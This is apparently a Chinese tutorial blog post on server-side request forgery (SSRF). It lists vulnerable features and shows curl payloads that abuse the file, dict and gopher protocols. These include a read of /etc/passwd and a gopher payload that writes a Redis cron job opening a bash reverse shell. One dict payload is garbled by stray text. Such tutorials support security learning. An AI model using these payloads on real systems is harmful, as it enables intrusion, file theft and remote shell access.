ssrf 服务器请求伪造

じ耐人

已于 2023-04-02 14:15:55 修改

阅读量132

点赞数

文章标签：数据库服务器

于 2023-04-01 21:38:03 首次发布

本文链接：https://blog.youkuaiyun.com/qq_55894976/article/details/129903526

版权

文章探讨了如何利用SSRF（Server-SideRequestForgery）漏洞进行内网穿透，原因是服务端未对目标URL进行有效过滤。主要漏洞场景包括分享、转码、翻译、图片处理等。举例说明了通过file、dict和gopher等协议读取内网资源，如文件、数据库信息，甚至可能反弹shell。这些利用方法揭示了服务器安全的重要性，需严格限制对外部资源的访问。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

目标

从外网无法访问的内部服务,可以利用ssrf来进行内网穿透

原因

由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

一般漏洞存在的点

1,分享，通过url地址分享网页内容
2,转码服务：通过url地址把源地址的网页内容调优使其适应手机屏幕浏览
3,在线翻译：通过url地址翻译对应文本的内容。提供此功能的国内公司有百度，有道等
4,图片加载与下载：通过url地址加载或下载图片
5,图片，文章收藏功能
6,未公开的api实现以及其他调用url的功能
7,从url关键字中寻找 例如：share wap url link src source target u 3g display sourceURL imageURL domain

举例

例如网站要求输入要上传的图片地址时，输入内网Ip.例如：http://192.168.10.1:3306(3306是数据库的端口)，这样可以进入内网数据库中
或者输入file:///D:/www.txt查看内网中D盘的ww.txt的文件
或者输入dict://192.168.64.144:3306/info
或者输入ftp://192.168.64.144:21

ssrf利用的协议

# file
在有回显的情况下，利用 file 协议可以读取任意内容

curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"
使用file协议 file protocol (任意文件读取)

# dict
泄露安装软件版本信息，查看端口，操作内网redis服务等

curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:63使用dict协议 dict protocol (获取Redis配置信息)79/info"


# gopher
gopher支持发出GET、POST请求：可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d %0aset %0d %0a $1%0d %0a1 %0d %0a $64%0d %0a %0d %0a %0a %0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/4444 0>&1 %0a %0a %0a %0a %0a %0d %0a %0d %0a %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $3%0d %0adir %0d %0a $16%0d %0a/var/spool/cron/ %0d %0a*4 %0d %0a $6%0d %0aconfig %0d %0a $3%0d %0aset %0d %0a $10%0d %0adbfilename %0d %0a $4%0d %0aroot %0d %0a*1 %0d %0a $4%0d %0asave %0d %0aquit %0d %0a"
使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)